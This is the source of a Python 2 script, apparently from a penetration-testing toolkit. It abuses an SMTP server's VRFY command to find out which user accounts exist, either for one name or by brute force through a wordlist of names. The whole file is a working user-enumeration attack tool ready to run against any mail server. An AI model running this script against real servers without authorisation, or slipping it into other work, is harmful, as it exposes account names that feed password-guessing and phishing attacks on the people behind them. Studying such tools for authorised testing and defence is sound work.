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mgeeky-Penetration-Testing-.../networks/smtpvrfy.py

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2018-02-02 22:22:43 +01:00
#!/usr/bin/python
#
# Simple script intended to abuse SMTP server's VRFY command to leak
# usernames having accounts registered within it.
#
# Mariusz B., 2016
#
import socket
import sys
import os
# Specify below your default, fallback wordlist
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
DEFAULT_TIMEOUT = 20
def interpret_smtp_status_code(resp):
code = int(resp.split(' ')[0])
messages = {
250:'Requested mail action okay, completed',
251:'User not local; will forward to <forward-path>',
252:'Cannot VRFY user, but will accept message and attempt delivery',
502:'Command not implemented',
530:'Access denied (???a Sendmailism)',
550:'Requested action not taken: mailbox unavailable',
551:'User not local; please try <forward-path>',
}
if code in messages.keys():
return '({} {})'.format(code, messages[code])
else:
return '({} code unknown)'.format(code)
def vrfy(server, username, port, timeout, brute=False):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
conn = s.connect((server, port))
except socket.error, e:
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
return False
try:
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
s.send('HELO test@test.com\r\n')
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
except socket.error, e:
print '[!] Failed at initial session setup: "{}"'.format(str(e))
return False
if brute:
print '[?] Engaging brute-force enumeration...'
if brute:
for i in range(len(username)):
user = username[i]
s.send('VRFY ' + user + '\r\n')
res = s.recv(1024).strip()
print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
i, len(username), server, port, user, interpret_smtp_status_code(res))
else:
s.send('VRFY ' + username + '\r\n')
res = s.recv(1024).strip()
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
if 'User unknown' in res:
print '[!] User not found.'
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
print '[+] User found: "{}"'.format(res.strip())
else:
print '[?] Response: "{}"'.format(res.strip())
s.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
sys.exit(0)
server = sys.argv[1]
port = 25 if ':' not in server else int(server[server.find(':')+1:])
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
if os.path.isfile(username):
names = []
with open(username, 'r') as f:
for a in f:
names.append(a.strip())
print '[>] Provided wordlist file with {} entries.'.format(len(names))
vrfy(server, names, port, timeout, brute=True)
else:
vrfy(server, username, port, timeout)